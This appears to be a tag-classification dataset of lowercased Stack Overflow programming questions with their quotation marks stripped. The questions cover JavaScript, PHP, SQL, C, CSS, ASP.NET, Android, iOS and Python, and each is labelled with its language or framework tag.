populate and check for numeric-only textbox  i have two text boxes  i need to populate value of one text box to another textbox and value entered in textbox should be numeric only.   <pre><code>/* for numeric value in one textbox and populate in another*/  function ontype(evt){ var charcode = (evt.which)   evt.which : event.keycode if (charcode &gt; 31 &amp;&amp; (charcode &lt; 48 || charcode &gt; 57)){  return false; } else{ document.getelementbyid( marketvaluationid ).value=document.getelementbyid( valuationid ).value; return true; } </code></pre>,javascript
send data from script from partial to controller angular  i have this code in a partial   <pre><code>&lt;script&gt; function process_wb(wb $scope) {   if(use_worker) xls.ssf.load_table(wb.ssf);   var output =   ;   console.log(wb);   salida=to_json(wb); } &lt;/script&gt; &lt;button  ng-click= insertar(salida) &gt;insertar&lt;/button&gt; </code></pre>   on the controller   <pre><code>$scope.insertar = function(datos) {   console.log( datos );   console.log(datos); } </code></pre>   but when i do click the function don t have any data...    any solution  thanks for you time,angularjs
displaying a value from database table  this is my php code:   <pre><code>$query4=mysql_query( select * from quiz                      where `group`= $token  ) or die(mysql_error()); while($row4=mysql_fetch_assoc($query4)){     echo $row4[ quiz_no ]; } </code></pre>   i have a 3 row on my table quiz_no 1 1 2    but i want to display it like this:   <pre> quiz no. 1 quiz no. 2 </pre>   but it keeps displaying   <pre> 1 1 2 </pre>,php
showing div boxes with different size  is it possible to show divs next to each other and bellow each other instead of just bellow each other just like google image search <a href= https://www.google.co.uk/search hl=en&amp;authuser=0&amp;site=imghp&amp;tbm=isch&amp;source=hp&amp;biw=1164&amp;bih=563&amp;q=hello&amp;oq=hello&amp;gs_l=img.3..0l10.1186.1790.0.2126.5.5.0.0.0.0.229.421.0j1j1.2.0....0...1ac.1.49.img..3.2.420.q8ycvrbwcbk  rel= nofollow >google</a>  if the images were divs     i don t think i have explained my problem clearly but thats the best i can do!,css
itextsharp refreshing page after creating pdf  i have a aspx page on which i have two buttons(makepdf and view) on view button a gridview is shown on the page and with makepdf we can download pdf. but what i need is view button code should be executing after downloading the pdf. please provide me a solution.   <pre><code>document document = new document(pagesize.a4  0  0  15  12);         pdfwriter writer = pdfwriter.getinstance(document  response.outputstream);         document.open();         pdfpcell cell;         phrase phrase;         pdfptable table;           table = new pdfptable(1);         table.setwidths(new int[] { 10 });         table.spacingbefore = 5f;           phrase = new phrase();         phrase.add(new chunk( hse monthly report    toptextfont));         cell = new pdfpcell(new phrase(phrase));         cell.horizontalalignment = element.align_center;         cell.border = 0;         table.addcell(cell);         table.completerow(); document.add(table);         document.close();         response.contenttype =  application/pdf ;         response.addheader( content-disposition    attachment; filename= sampleexport.pdf );         response.end(); </code></pre>,asp.net
memcpy not working as expected  here is the deal:   <pre><code>void* target_adrr = //adress to copy data to void* source_adrr = //adress to copy data from unsigned long data_size = //the size in bytes memcpy(target_adrr  source_adrr  data_size); </code></pre>   the code work on the 1st run. on the 2nd run  other data are altered  something not expected. i noticed memcpy returns some address. this address has no connection with my target address.    i am pretty confused  can someone please help me,c
why operating systems are not written in java   all the operating systems till date have been written in c/c++ while there is none in java. there are tonnes of java applications but not an os. why,java
blank if row doesnt exist  i have the following code.  on some occasions there will be no t1.lineno = 2 so i want val2 to just be null or blank.  but i cant get it to work   <pre><code>select     motran_hajobfile.jobnumber      motran_haextrachg.description motran_haextrachg.value       ***(select t1.value from motran_haextrachg t1 where motran_haextrachg.jobuniquekey = t1.jobuniquekey and t1.lineno = 2)  as  val2***  from     motran_hajobfile     left outer join     motran_haextrachg     on motran_haextrachg.jobuniquekey = motran_hajobfile.uniquekey where     motran_hajobfile.jobnumber =  235416  </code></pre>   edited   <pre><code>job              line        description                     value 235416             1          sunday collection               325 235416             2         rush charge                     82      </code></pre>   this is the table but my code makes it like this       <pre><code>job        description               value     description2     value 2 235416    sunday collection           325      rush charge     82   </code></pre>   the line 2 will not always exist which is my problem i just want it to then leave description 2 and value 2 blank,sql
result not accurate using inner join 2 queries  i want to join 2 query below:   <pre><code>select distinct kdbaes1  kdsatker                   format (abs(sum(rphreal)) 0) as pagu  from budget  where thnang= 2013  and jnsdok1 in( 202   203 )  group by kdsatker  order by kdbaes1  kdsatker; </code></pre>   and   <pre><code>select distinct kdbaes1  kdsatker                   format (sum(rphreal) 0) as realisasi   from real  where thnang= 2013  and jnsdok1= 301  and kdmakmap like  5%   group by kdsatker  order by kdbaes1  kdsatker; </code></pre>   i try to join these query  but the result is not accurate in rphreal column   <pre><code>select distinct budget.kdbaes1  budget.kdsatker                   format (abs(sum(budget.rphreal)) 0) as rpbudget                   format (sum(real.rphreal) 0) as rpreal   from budget   inner join real on budget.kdsatker=real.kdsatker  where budget.thnang= 2013  and budget.jnsdok1 in( 202   203 ) and        real.thnang= 2013  and real.jnsdok1= 301  and real.kdmakmap like  5%    group by kdsatker    order by kdbaes1  kdsatker; </code></pre>   need help..,mysql
how can i read a jpg file from desktop  i have a problem with reading images that exist on desktop(jpg format or something else image). the location is:c:\users\marian\desktop\pozalaptop.jpg. i ve try this codes but doesn t work.   <pre><code>&lt;img src= c:\users\marian\desktop\pozalaptop.jpg  alt= laptop  width= 100  height= 100  /&gt;   &lt;img src= c:/users/marian/desktop/pozalaptop.jpg  alt= laptop  width= 100  height= 100  /&gt;  </code></pre>   please help!,html
adjusting height of span with css  i m trying to make a menu for a mobile landing site. the problem i m having is that the items inside the divs are being set to height bigger than the containing div  which is screwing up the vertical align. i ve tried many different things in order to manually set a height  but nothing is working. i ve also tried setting margins and padding to 0. nothing has worked.    code:   <pre><code>&lt;div id= menu &gt;     &lt;div&gt;&lt;span&gt;&lt;h4&gt;&lt;a class= menuitem  href= find-us.html &gt;find us&lt;/a&gt;&lt;/h4&gt;&lt;/span&gt;&lt;/div&gt;     &lt;div&gt;&lt;span&gt;promos&lt;/span&gt;&lt;/div&gt;     &lt;div&gt;&lt;span&gt;events&lt;/span&gt;&lt;/div&gt;     &lt;div&gt;&lt;span&gt;gallery&lt;/span&gt;&lt;/div&gt; &lt;/div&gt; </code></pre>   <a href= http://jsfiddle.net/milkman15/r6vde/1/  rel= nofollow >http://jsfiddle.net/milkman15/r6vde/1/</a>,css
broken bar (¦) as or operator in  the c programming language  book  <i>edit: sorry  i accidentally submitted the question before i was done. boy  are you guys quick!</i>    i ve been going through the second edition of <i>the c programming language</i> and noticed that the book uses broken bars instead of pipes. was this an old notation or are they interchangeable     <a href= https://i.stack.imgur.com/5cwrp.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/5cwrp.jpg  alt= program to count lines  words  and characters in input ></a>,c
conditional output in gridview row  i databing array of user objects to gridview control. last column contains  action  anchors (edit  remove):   <pre><code>    &lt;asp:templatefield headertext= actions &gt;         &lt;itemtemplate&gt;             &lt;a href= remove.aspx id=&lt;%# eval( user_id ) %&gt; &gt;remove&lt;/a&gt;             &lt;a href= edit.aspx id=&lt;%# eval( user_id ) %&gt; &gt;edit&lt;/a&gt;     &lt;/itemtemplate&gt;     &lt;/asp:templatefield&gt; </code></pre>   however i would like not to output first anchor to remove action if currently binded user object has the same id as use logged in (available with this.sessionuser.id).something like this:   <pre><code>    &lt;asp:templatefield headertext= actions &gt;         &lt;itemtemplate&gt;             &lt;a href= remove.aspx id=&lt;%# eval( user_id ) %&gt; &gt;remove&lt;/a&gt;             if (this.sessionuser.id &lt;&gt; eval( user_id ) { &lt;a href= edit.aspx id=&lt;%# eval( user_id ) %&gt; &gt;edit&lt;/a&gt; }     &lt;/itemtemplate&gt;     &lt;/asp:templatefield&gt; </code></pre>   how can i do it     thanks!,asp.net
mysql event query error #1064  i m trying to create an event for mysql which should change some values when the date (datum) is less than today. i used the curdate() format because that works best for me.   <pre><code>create event `test_event_date`  on schedule every 1 minute do begin update users set subbed= yes   datum=   where datum &lt; curdate(); end; </code></pre>   i set it to 1 minute just for test purposes ;)    but when i try this it gives me the following error:   <blockquote>    <strong>#1064 - you have an error in your sql syntax; check the manual that corresponds to your mysql server version for the right syntax to use near    at line 6</strong>   </blockquote>   but iv e checked it multiple times  and tried values without    and i tried curdate() with     but nothing seems to work.    please help :c,mysql
easiest way to get started in dot net  ok  so the initial search in stackoverflow shows nothing related for this question.  so here it goes:    let s pretend for a moment that you re just getting started in a career in computer programming.  let s say that  for whatever reason  you decide to use the .net framework as a basis for your programming.  let s also say that you ve been exposed to some programming background  but not one in .net  so it seems foreign to you at first.  and lastly  you don t have the benefit of 25 years of exposure to the win32 api  which explains why it seems so foreign to you when you start looking at it.    so the questions are:   <ol> <li>what is a comprehensive overview of what .net is   it appears to be a combination of a runtime environment  a set of languages  a common set of libraries  and perhaps a few other things...so it s about as clear as mud.  specifically  what are the key components to .net </li> <li>what is the easiest way to understand .net programming with regard to available apis </li> <li>which language would best suit beginning programming out of the  stock  languages that microsoft has to offer  (c++  c#  vb  etc.)</li> <li>what are some differences between .net programming and programming in a procedural language (aka pascal  modula  etc.)</li> <li>what are some differences between .net programming and programming in a  traditional  object-oriented language  (aka smalltalk  java  python  ruby  etc.)</li> <li>as i currently understand it  the clr provides a foundation for all of the other languages to run on.  what are some of the inherent limitations of the clr </li> <li>given the enormous amount of api to cover  would it even be worth learning a .net language (using the microsoft apis) given that you would not have prior exposure to win32 programming </li> <li>let s say you write a for-profit program with .net.  can you resell the program without running afoul of licensing issues </li> <li>let s say you write a gratis (free) program with .net.  can you offer the program to the public under a  free  license (gpl  bsd  artistic  etc.) without running afoul of licensing issues </li> </ol>   thank you in advance for your patience.,.net
i need 2 different heights applied to 2 different fieldset tags  what i am using in css is   <pre><code>form fieldset {     height : 300px;     } </code></pre>   but i have   <pre><code>&lt;fieldset&gt;&lt;legend&gt;one&lt;/legend&gt;&lt;/fieldset&gt;`  &lt;fieldset&gt;&lt;legend&gt;two&lt;/legend&gt;&lt;/fieldset&gt; </code></pre>   the problem is both field sets are being applied the same height.    is there a way to apply different heights to different fieldsets from css. i am not looking for inline styles which i know how to apply.,css
how to get quiz to display score after end of quiz  all i need help with is after the 5th question for it to say: your score is     and then a button to try again or go home. i m really stuck on this and i m stressing out  if anyone could help it would be very appreciated   <pre class= lang-js prettyprint-override ><code>$(document).ready(function(){     $( #answer1 ).click(function(){         $(this).addclass( selected );         settimeout(function() {             checkanswer(1);         } 1000);     });     $( #answer2 ).click(function(){         $(this).addclass( selected )         settimeout(function() {             checkanswer(2);         } 1000);     });     $( #answer3 ).click(function(){         $(this).addclass( selected )         settimeout(function() {             checkanswer(3);         } 1000);     });      $( #next-btn ).click(function(){         nextquestion();     });     nextquestion();  });  var quizdata = [         {question: what happens when a ball hits the ground             answers:[ squashes &amp; stretches   stops moving   rolls around ]           correctanswer:1           feedback: when a ball hits the ground it squashes and streches and then bounces back up          }           {question: what materials can a window be made from             answers:[ clingfilm   glass   wood glass and plastic ]           correctanswer:3           feedback: the part of the window you look through is glass as it is transparent   but most windows have borders around it made from wood or a tough plastic          }          {question: shiny is a ________ of kitchen foil             answers:[ property   material   object ]           correctanswer:1           feedback: words which describe things about objects or materials are known as properties          }          {question: is plastic a             answers:[ lego brick   material   drinking cup ]           correctanswer:2           feedback: a material is what a object is made from plastic is a material and lego bricks are objects made from plastic          }          {question: what is the mass number of an atom             answers:[ the number of particles it contains   the number of protons it contains   the number of protons and neutrons it contains ]           correctanswer:3           feedback: the number of protons and neutrons it contains. atoms are the basic building blocks of ordinary matter.          }   ];   var currentquestion = 0; var totalquestions = quizdata.length; var score = 0;  function showquestion(){     $( #question ).html(quizdata[currentquestion-1].question);     $( #answer1 ).html(quizdata[currentquestion-1].answers[0]);     $( #answer2 ).html(quizdata[currentquestion-1].answers[1]);     $( #answer3 ).html(quizdata[currentquestion-1].answers[2]);     $( #feedback ).html(quizdata[currentquestion-1].feedback); }  function nextquestion(){     currentquestion++;        // ** you should add something that checks to see if are any more      // ** questions left here      showquestion();      // hide feedback and next button     $( #next-btn ).addclass( hidden );     $( #feedback ).addclass( hidden );     // remove all incorrect  correct classes on answer buttons     $( .answer-box ).removeclass( correct incorrect ); }  function checkanswer(selectedanswer){     var thecorrectanswer = quizdata[currentquestion-1].correctanswer;     // remove the grey selected class     $( .answer-box ).removeclass( selected );      // turn the boxes red or green depending on if they are the correct answer     $(  .answer-box  ).each(function( index ) {       if((index+1)==thecorrectanswer){         $( this ).addclass( correct );       } else {         $( this ).addclass( incorrect );       }     });      if(selectedanswer==thecorrectanswer){         // got it correct         score += 1;         $( .score ).html(score);     } else {         // got it wrong so do nothing     }     // show feedback and next button     $( #next-btn ).removeclass( hidden );     $( #feedback ).removeclass( hidden ); } </code></pre>,javascript
how to get info about all running activities in android programmatically   in android  you get info about running activities by watching the logcat.    for example if you open camera  it is logged in the logcat.     is there a way to get that info programmatically,android
python: is there a math placeholder nonetype  i m looking for a  placeholder  value which has the characteristics of none but does not throw up a  typeerror  when appearing in mathematical statements. for example consider the following usage of none:   <pre><code>&gt;&gt; x = none &gt;&gt; x**2 typeerror: unsupported operand type(s) for ** or pow():  nonetype  and  int  </code></pre>   what i would like is an alternative placeholder value  lets call it  mathnone  which is invariant under mathematical operations and functions. eg:   <pre><code>&gt;&gt; x = mathnone &gt;&gt; x**2 mathnone </code></pre>   or more generally:   <pre><code>&gt;&gt; some_arbitrary_math_function(mathnone) mathnone </code></pre>   does anything like this exist  is there anyway to write my own     the application is for an acausal equation solver. i.e a system of <em>m</em> equations and <em>m+n</em> variables  where any <em>n</em> variables can be assigned and the remaining <em>m</em> variables are left as some placeholder and solved for. i could use any number for the placeholder but i want to guarantee that there will never be zerodivisionerrors or valueerrors.,python
difficulty implementing comicflow project  everyone knows there is a free source code application available for ipad named comicflow  but the source code is in the google source code - no download project link there.    i copied the entire source code into my new project  but there are some errors:   <pre><code>#import  httpserver.h   //missing error #import  davconnection.h //missing error #import  cocoahttpserver/core/categories/dddata.m //missing error #import  cocoahttpserver/core/categories/ddnumber.m // missing error #import  cocoahttpserver/core/categories/ddrange.m // missing error  @interface httpserver (internal) - (void) socket:(gcdasyncsocket*)sock didacceptnewsocket:(gcdasyncsocket*)newsocket;//cannot find interface declarationhttpserver </code></pre>   i can t find this declaration anywhere on the source code. i know this is a difficult question to answer  but anyone who knows how to deal with this problem  please feel free to answer me. thanks in advance.,iphone
android:animatelayoutchanges= true  availible for api 8   is there a way to use layout flag    <blockquote>    android:animatelayoutchanges= true   </blockquote>   in android api 8,android
return values to presenting view controller when navigation back button pressed  i m having trouble piecing this all together. i have a view controller that opens up another (pushes it on to the navigation stack). on that presented view controller  the user enters a value in a text view. when the user pushes the back button in the navigation  i want to be able to pass the value that they entered in the text view back to the presenting controller.    i ve looked for a way to use unwind segue with the back button but haven t found anything. when i create my back button (programmatically) i use initwithtitle:style:target:action but i m not sure how in implementing the action method that i ll be able to access the value set in the presented controller. might have to use a delegate to link the two  but not sure of the exact integration point for this scenario.    i feel like i m so close here and a little help would get me there. thanks!,ios
angular skip the get method calling web service <pre><code>    var l = $scope.pendingkotitems.length          k = 0;     for (k = 0; k &lt; l; k = k + 1) {         sitemcode = $scope.pendingkotitems[k][ sitemcode ]         soutletcode = $scope.selectedoutlet.soutletcode;         sfinal = soutletcode +  /  + ssubcatgcode          $http.get(sserviceurl +  itemmst/  + sfinal).then(function (resp) {             $scope.items = resp.data;             iindexitem = getindexof($scope.items  sitemcode   sitemcode );         }  function (err) {             console.error( err   err);             // err.status will contain the status code         })         scheckvalue = $scope.checkboxselection.value;           $scope.invoice.items.push({             kotno: $scope.kotnumvalue              activemode: $scope.lactivemode              subcatgcode: ssubcatgcode              subcatgdesc: ssubcatgdesc              indexsubcatg: iindexsubcatg              itemcode: sitemcode              itemdesc: sitemdesc              indexitem: iindexitem              qty: sqty              outletcode: soutletcode              billtype: sbilltype              membercode: smembercode              roomnum: sroomnum              bookingcode: dbookingcode              tablecode: stablecode              waitercode: swaitercode              userid: suserid         });     } </code></pre>   the get methode not fire in the for loop  after perform for loop it will fire.    i want get  iindexitem  value for load select based on item sub category. but get method fire after the  push  operation perform. so i was not able to get  iindexitem  value. this my problem.,angularjs
why my sql query doubles the results  i m trying to make a join between two tables. the completed query is the following:   <pre><code>select      cast(m.rank as signed) as rank      o.country      o.continent      m.gold       m.silver       m.bronze       m.total from  ( select @rownum := @rownum + 1 as rankstd      case         when (@gold=t.gold and @silver=t.silver and @bronze=t.bronze)          then @rank := @rank          else @rank := @rownum      end as rank             (@gold:=t.gold) gold          (@silver:=t.silver) silver          (@bronze:=t.bronze) bronze          t.total          t.city          t.season  from  (   select      sum(gold) as gold      sum(silver) as silver      sum(bronze) as bronze      sum(total) as total      city      season from (     select      city      season      case when medal = gold  then 1 else 0 end as gold      case when medal = silver  then 1 else 0 end as silver      case when medal = bronze  then 1 else 0 end as bronze      1 as total     from medalresults     where country =  ita      and season= summer    ) a  group by city  ) t      cross join (select @rownum := 0                          @gold := 0                          @silver := 0                          @bronze := 0                          @rank := 1) v      order by gold desc  silver desc  bronze desc  )m  join orgcountry o on o.city = m.city and o.season=m.season  order by rank </code></pre>   the m table gets me a table with this structure (i write only first rows):   <pre><code>rankstd rank gold silver bronze total   city        season ----------------------------------------------------------- 1       1    26   18     24     68    los angeles   summer 2       2    19   23     21     63    london        summer 3       3    17   17     14     48    athina        summer 4       4    14   6      5      25    antwerpen     summer 5       5    13   10     13     36    roma          summer 6       6    13   10     12     35    atlanta       summer </code></pre>   the orgcountry table indeed has a structure like this (i write only significative rows to make you understand  obviously between 1996 and 1984 there are other entries but for this example i cut it out):   <pre><code>id   year   city       country        continent   season ----------------------------------------------------- 1    2012   london       great britain  europe      summer 2    2008   beijing      china          asia        summer 3    2004   athina       greece         europe      summer 4    2000   sydney       australia      oceania     summer 5    1996   atlanta      united states  americas    summer 6    1984   los angeles  united states  americas    summer </code></pre>   if i make the join between them like above  i get results doubled like this:   <pre><code>rank   country        continent   gold   silver   bronze   total ------------------------------------------------------------- 1      united states  americas    26     18       24       68 1      united states  americas    26     18       24       68 2      great britain  europe      19     23       21       63 2      great britain  europe      19     23       21       63 2      great britain  europe      19     23       21       63 3      greece         europe      17     17       14       48 3      greece         europe      17     17       14       48 3      greece         europe      17     17       14       48 </code></pre>   why this  what i want is simply to aggregate for country and to get:   <pre><code>rank gold silver bronze total   country        season ----------------------------------------------------------- 1    39   28     36     113     united states  summer 2    19   23     21     63      great britain  summer 3    17   17     14     48      greece         summer 4    14   6      5      25      netherlands    summer 5    13   10     13     36      italy          summer 6    13   10     12     35      australia      summer </code></pre>   and so on. note that the first rows is changed because atlanta and los angeles are city in united states.,mysql
how to avoid first lettter capital in textbox html and bootstrap   i have a form with textboxes and when users is ready to fills some data into the textbox ...textbox field automatically takes first letter as capital     how to disable that... i want based on user enter enter data in either caps or smalls    <strong>here is my code</strong>   <pre><code>&lt;div class= form-group &gt;   &lt;input type= text  name= city  class= form-control  list= city  placeholder= enter city   required/&gt; &lt;/div&gt; </code></pre>,html
angular - update a table cell  in my angular app i have the typical table iterator via ng-repeat.   <pre><code>&lt;table class= table table-bordered table-condensed table-striped &gt;       &lt;tbody&gt;        &lt;tr ng-repeat= assay in assays &gt;           &lt;td&gt;           &lt;td key= id &gt;{{assay.id}}&lt;/td&gt;           &lt;td key= source &gt;{{assay.source}}&lt;/td&gt;           &lt;td key= status &gt;{{assay.status}}&lt;/td&gt;         ... etc ...        &lt;/tr&gt;     &lt;/tbody&gt; &lt;/table&gt; </code></pre>   using a button a user makes a change in a modal dialog. this is all working fine  but i want to update a single cell in the table with the result; i have the id of the row as well as the field name.    is it possible in angular to access a single cell  or even update the entire row  if you have the index  at present i am achieving this by refreshing all the table data from the remote server... not ideal.    i guess i am looking for something like:   <pre><code>assays[id].status =  great!  </code></pre>,angularjs
is m() in for(obj o: m()) run once or multiple times   in the following  is <code>m()</code> run once or multiple times    <pre><code>for(obj o: m()) { ... } </code></pre>,java
can t delete xcode project app from iphone  i had a few projects that were works in progress installed on my iphone from xcode. i had to restore my iphone and now i have 3 icons on my home screen that don t open anything and i can t delete. they don t go away with the tap and hold method and they don t show up in the xcode device organizer (command+shift+2). thanks in advance!    <img src= https://i.stack.imgur.com/es6nj.png  alt= my iphone >,iphone
asp. net without load page  here below response send my windows application to my site <a href= http://www.abcd.com/response.aspx name=bala  rel= nofollow >http://www.abcd.com/response.aspx name=bala</a>    response page i dnt want to load.    in which event i write code to get the parameter like  name     in page load   <pre><code>dim str as string=request.querystring( name ) </code></pre>   i get the name. but i dnt want to load that page. all the response i want store any text file. it is possible with out load the page in asp.net,asp.net
css width subtraction  how to subtract width in css     for example:   <pre><code>width = 100% - 10px </code></pre>   i m not talking about padding or margin.,css
find parent of the opener iframe  lets say we have an iframe in page test1.html   <pre><code>&lt;iframe src=test2.html &gt;&lt;/iframe&gt; </code></pre>   and there is a link in test2.html:   <pre><code>&lt;a href= test3.html  target= _blank &gt;open in new window &lt;/a&gt; </code></pre>   in test3.html how can i know the parent of the opener  (that is test1.html),javascript
how to insert into vector under condition without use loop   i would like to copy elements from one vector which meet certain criteria in to another vector  but without using a hand-written loop.  for example         <pre><code>std::vector&lt;double&gt; source; // somehow filled elsewhere std::vector&lt;double&gt; result;  for( std::vector&lt;double&gt;::const_iterator it = source.begin(); it != source.end(); ++it ) {    if ((*it) % 2)    {       result.push_back(*it);    } } </code></pre>   the above code uses a hand-written loop to populate <code>result</code>.  how can this be done without a hand-written loop,c++
what is basic rule to create a bundle idetifier in ios app  i was attempting a online test. there is four option for  what is incorrect bundle id s . option are -    <pre><code>1) com.companyname.appname 2) com.appname 3) appname 4) com.company-name.app-name </code></pre>   i was confused   what will be the correct answer of this question. i have tried to find out  what is basic rule for creating a bundle id. but not got my satisfactory answer. please help.,ios
adding class to link_to_unless not working  i have searched on this and seen solutions  but something i m doing is not working.  i have a nav-file and i m using  link_to_unless  to either have my links be links or just text.  i m trying to add a class to my link_to_unless line but it is not working.  i ve added my class to other areas to test it and it works.  so  i m inclined to think it is my link_to_unless.    i ve tried:   <pre><code>&lt;%= link_to_unless(request.env[ request_uri ] =~ /customers\/create/   add   :controller =&gt;  customers   :action =&gt;  new   :class =&gt;  navs-sub ) %&gt; </code></pre>   and with curly braces:   <pre><code>&lt;%= link_to_unless(request.env[ request_uri ] =~ /customers\/create/   add   :controller =&gt;  customers   :action =&gt;  new   {:class =&gt;  navs-sub }) %&gt; </code></pre>   adding the curly-braces gets me a syntax error (shown in part). it points to the spaces between the closing parens at the end of the line below:   <pre><code>syntax error  unexpected  )   expecting tassoc...  new   {:class =&gt;  navs-sub }) );@output_buffer.safe_concat... </code></pre>   my css:   <pre><code>.navs-sub {   text-indent15px;   background-color:#eee;   font-weight:bold; } </code></pre>   thanks for any help. --jc,ruby-on-rails
how to fix  object reference not set to an instance of an object <h2>server error in  /test  application.</h2>  <blockquote>    object reference not set to an instance of an object.    description: an unhandled exception occurred during the execution of the current web request. please review the stack trace for more information about the error and where it originated in the code.         exception details: system.nullreferenceexception: object reference not set to an instance of an object.        source error:         an unhandled exception was generated during the execution of the current web request. information regarding the origin and location of the exception can be identified using the exception stack trace below.          stack trace:         [nullreferenceexception: object reference not set to an instance of an object.]          test.connectstring.is_in_dr_mode(page src) +51          test.connectstring.get_constr(page src) +36          test.sesadmin.page_load(object sender  eventargs e) +43          system.web.ui.control.onload(eventargs e) +67          system.web.ui.control.loadrecursive() +35          system.web.ui.page.processrequestmain() +750  </blockquote>  <hr>  <blockquote>    version information: microsoft .net framework version:1.1.4322.2032; asp.net version:1.1.4322.2032   </blockquote>,asp.net
how do you determine the client side name of a server control   let s say i have a dropdownlist server control  called  categoriesddl  and the clientid proeprty determines its client side id  which is its id prefixed with the id s namingcontainer s ids. in this case the client side id is cp1_categoriesddl. but what is the rule regarding the client side name  in this case  ct100$cp1_categoriesddl,asp.net
how do i use a boolean operator in a case statement   i just don t understand how to use a boolean operator inside a switch statement     <pre><code>switch (expression) {         case &gt; 20:             statements             break;         case &lt; -20:             statements             break;     } </code></pre>   <strong>edit</strong>:<br> i don t want an if () statement.,objective-c
need help terminating program when secret number is found  i m trying to write a c program that uses a function that adds 2 integers to a random number. which i have accomplished below. my problem is  i set a variable to a secret number and when that number is found  i need the program to terminate and it does not.   <pre><code>int x y secretnumber;  secretnumber = 5;  do {     printf( please enter two integers to be added together to a random number from 0-99 \n       keep entering numbers until you hit the secret number!\n );     scanf( %i%i   &amp;x  &amp;y);      if(sumintsrand(x y) != secretnumber)     {         printf( the summation of integers %i and %i and a random number is %i \n\n  x y sumintsrand(x y));     }     else     {         printf( you have found the secret number: %i! goodbye!\n   secretnumber);     } } while(sumintsrand(x y) != secretnumber);  return 0; }    int sumintsrand(int x  int y) {  int sumintsrand = x + y + rand()%5;   return sumintsrand; } </code></pre>   if anyone has any idea where i m going wrong i would really appreciate it,c
how to get dynamically changed key s value in json string using java  i m trying to parse json string using java  i have stuck up with some scenario.    see below is my json string:   <pre><code> networksettings : {                  ports : {              8080/tcp : [   // it will change dynamically like ( 8125/udp  and  8080/udp  etc....)                 {                      hostip :  0.0.0.0                        hostport :  8080                  }             ]         }     } </code></pre>   i try to parse the above json string by using the following code:   <pre><code>jsonobject networksettings_obj=(jsonobject)obj.get( networksettings ); if(networksettings_obj.has( ports ))                 {                     jsonobject ntw_ports_obj=(jsonobject)networksettings_obj.get( ports );                     if(ntw_ports_obj.has( 8080/tcp ))                     {                         jsonarray arr_ntwtcp=(jsonarray)ntw_ports_obj.get( 8080/tcp );                                                   jsonobject ntwtcp_obj=arr_ntwtcp.get(0).getasjsonobject();                         if(ntwtcp_obj.has( hostip ))                         {                             ntw_hostip=ntwtcp_obj.get( hostip ).tostring();                             system.out.println( network hostip =  +ntw_hostip);                         }                         if(ntwtcp_obj.has( hostport ))                         {                             ntw_hostport=ntwtcp_obj.get( hostport ).tostring();                                                  system.out.println( network hostport =  +ntw_hostport);                         }                     }                     else                     {                         ntw_hostip= na ;                         ntw_hostport= na ;                     }                 }                 else                 {                     ntw_hostip= na ;                     ntw_hostport= na ;                 }   </code></pre>   in my code i have used this code   <pre><code>jsonarray arr_ntwtcp=(jsonarray)ntw_ports_obj.get( 8080/tcp ); </code></pre>   to get the value of  8080/tcp     how can i get the values of dynamically changing key like ( 8125/udp   8134/udp   etc...)    <strong>note: i m using gson library for parsing</strong>    <strong>after modification</strong>   <pre><code>public static void main(string args[])     {         try         {             jsonparser parser = new jsonparser();             jsonobject obj=(jsonobject)parser.parse(new filereader( samplejson.txt ));             system.out.println( obj =  +obj);             jsonobject networksettings_obj=(jsonobject)obj.get( networksettings );             if(networksettings_obj.has( ports ))             {                 jsonobject ntw_ports_obj=(jsonobject)networksettings_obj.get( ports );                 system.out.println( ntw_ports_obj =  +ntw_ports_obj);                 object keyobjects = new gson().fromjson(ntw_ports_obj  object.class);                 list keys = new arraylist();                 system.out.println(keyobjects instanceof map);  //**** here the statement prints false                 if (keyobjects instanceof map)        // *** so controls doesn t enters into the if() condition block *** //                 {                     map map = (map) keyobjects;                     system.out.println( map =  +map);                     keys.addall(map.keyset());                     string key = (string) keys.get(0);                     jsonarray jarray = (jsonarray) ntw_ports_obj.get(key);                     system.out.println( array list =  +jarray);                 }             }         }         catch(exception e)         {          }      } </code></pre>,java
how to select option of selection box using for loop  hi can anyone tell me what should i write so that on every iteration of for loop option s value changes and i get one by one option s value. following is the code:   <pre><code>for (var i=1; i&lt;4; i++)  {    $( #mydropdown_for_month option[value=i] ).attr( hidden   hidden );   }  </code></pre>   for example dropdown has 10 values but i want to hide those options which have the values dynamically changed by for loop so i write   option=i   but it is not working. i mean i want to write variable i. how can i do that,jquery
how to join more than 5 tables in sql   i want to join multiple tables with sql. here is my table structure:   <pre><code>table 1: akdhis_mahasiswamagister (id  mahasiswaid  nim  mayorid  tahunmasuk) table 2: akdmst_mayor(id  departemenid) table 3: ipbmst_departemen(id  fakultasid  departmenname) table 4: ipbmst_fakultas(id  facultyname) table 5: ipbmst_orang(id  name  nims2key) table 6: akdhis_kelanjutanstudi(id  nim  ipk) </code></pre>   i want to create  a view table  by joining with this query:   <pre><code>create algorithm=undefined definer=`root`@`localhost` sql security definer view `aipk` as select  `ipbmst_fakultas`.`kode` as `fakultas`  `ipbmst_departemen`.`kode` as `departemen`  `akdmst_mahasiswamagister`.`nim` as `nim`  `akdmst_mahasiswamagister`.`tahunmasuk` as `tahunmasuk`   `akdhis_kelanjutanstudi`.`ipk` as `ipk` from (((((`akdmst_mahasiswamagister` left join `akdmst_mayor` on((`akdmst_mahasiswamagister`.`mayorid` = `akdmst_mayor`.`id`)))  left join `ipbmst_departemen` on((`akdmst_mayor`.`departemenid` = `ipbmst_departemen`.`id`)))  left join `ipbmst_fakultas` on((`ipbmst_departemen`.`fakultasid` = `ipbmst_fakultas`.`id`)))  left join `ipbmst_orang` on((`akdmst_mahasiswamagister`.`nim` = `ipbmst_orang`.`nims2key`)))  left join `akdhis_kelanjutanstudi` on((`akdhis_kelanjutanstudi`.`nim` = `ipbmst_orang`.`nims2key`))) where ipk is not null  order by nim limit 100; </code></pre>   but  when i tried to run it  the result is empty result. what should i do to solve that problem  thankyou,mysql
using conditions with csv rows  i m looking at creating a very basic username and password program using an external csv file. the program allows the user to input a username and password  afterwards an if statement checks whether the username and password match that of a row in the csv document. if so then the corresponding user information is displayed.    the issue i m having is to with my <code>else:</code> statement. if the user details don t match that of a row (wrong username or password) a notification should display. by adding an else line though  it checks per line so i receive more than one  details entered incorrectly.  messages. also if the credentials are correct  the user information is displayed alongside  details entered incorrectly  for every other row.   <pre><code>import csv  username = input( username:  ) password = input( password:  )  with open( data.csv    rt   newline=  ) as file:      open_file = csv.reader(file)  for row in open_file:     if row[0] == username and row[1] == password:         print( secret phrase:    row[2])     else:         print( incorrect user details. ) </code></pre>   any ideas on how i could alter my code to fix this  much appreciated!,python
